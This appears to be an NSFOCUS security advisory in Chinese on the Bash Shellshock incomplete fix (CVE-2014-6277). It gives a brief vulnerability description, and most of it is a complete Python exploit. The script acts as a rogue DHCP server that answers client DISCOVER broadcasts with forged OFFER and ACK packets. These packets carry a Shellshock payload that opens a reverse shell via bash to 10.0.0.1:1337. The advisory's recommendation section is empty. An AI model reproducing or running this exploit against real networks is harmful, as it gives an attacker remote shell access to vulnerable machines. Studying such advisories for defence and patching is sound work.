NSFOCUS绿盟科技

首页 -> 安全研究

安全研究

安全漏洞

GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6277)

发布日期：2014-09-27
更新日期：2014-10-08

受影响系统：

GNU Bash <= 4.3 bash43-026

描述：

BUGTRAQ  ID: 70165
CVE(CAN) ID: CVE-2014-6277

Bash，Unix shell的一种，在1987年由布莱恩·福克斯为了GNU计划而编写。

GNU Bash 4.3 bash43-026及之前版本没有正确解析环境变量值中的函数定义，这可使远程攻击者通过构造的环境，利用此漏洞执行任意代码或者造成拒绝服务。此漏洞源于CVE-2014-6271及CVE-2014-7169的不完整修复。

<*来源：Michal Zalewski （lcamtuf@echelon.pl）

  链接：http://secunia.com/advisories/61549/
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
#  ______        ______  ______                 _
# / __   |      / __   |/ __   |     _         (_)
#| | //| |_   _| | //| | | //| | ___| |_   ____ _ ____   ____  ___
#| |// | ( \ / ) |// | | |// | |/___)  _) / ___) |  _ \ / _  |/___)
#|  /__| |) X (|  /__| |  /__| |___ | |__| |   | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_|   |_|_| |_|\_|| (___/
#                                                      (_____|
#     _ _           _ _
#    | | |         | (_)            _
#  _ | | | _   ____| |_  ____ ____ | |_
# / || | || \ / ___) | |/ _  )  _ \|  _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)
#
#      _           _ _      _                 _
#     | |         | | |    | |               | |
#  ___| | _   ____| | | ___| | _   ___   ____| |  _ ____  ____
# /___) || \ / _  ) | |/___) || \ / _ \ / ___) | / ) _  )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ):
    b = []
    h = ''.join( h.split(" ") )
    for i in range(0, len(h), 2):
        b.append( chr( int (h[i:i+2], 16 ) ) )
    return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

    OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
    URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
    URLLEN = chr(len(URL) / 2).encode("hex")
    END = "03040a000001ff"
    broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
    hexip = broadcast_get[245:249]
    rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
    XID = broadcast_get[4:8].encode("hex")
    chaddr = broadcast_get[29:34].encode("hex")
    print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
    OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
    OFFER_BYTES = HexToByte(OFFER)
    ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
    ACK_BYTES = HexToByte(ACK)
    print "[+]\tsending evil offer\n"
    sock.sendto(OFFER_BYTES, (rhost, rport))
    broadcast_get2 = bsock.recvfrom(2048)
    print "[+]\tassuming request was received, sending ACK\n"
    sock.sendto(ACK_BYTES, (rhost, rport))

建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客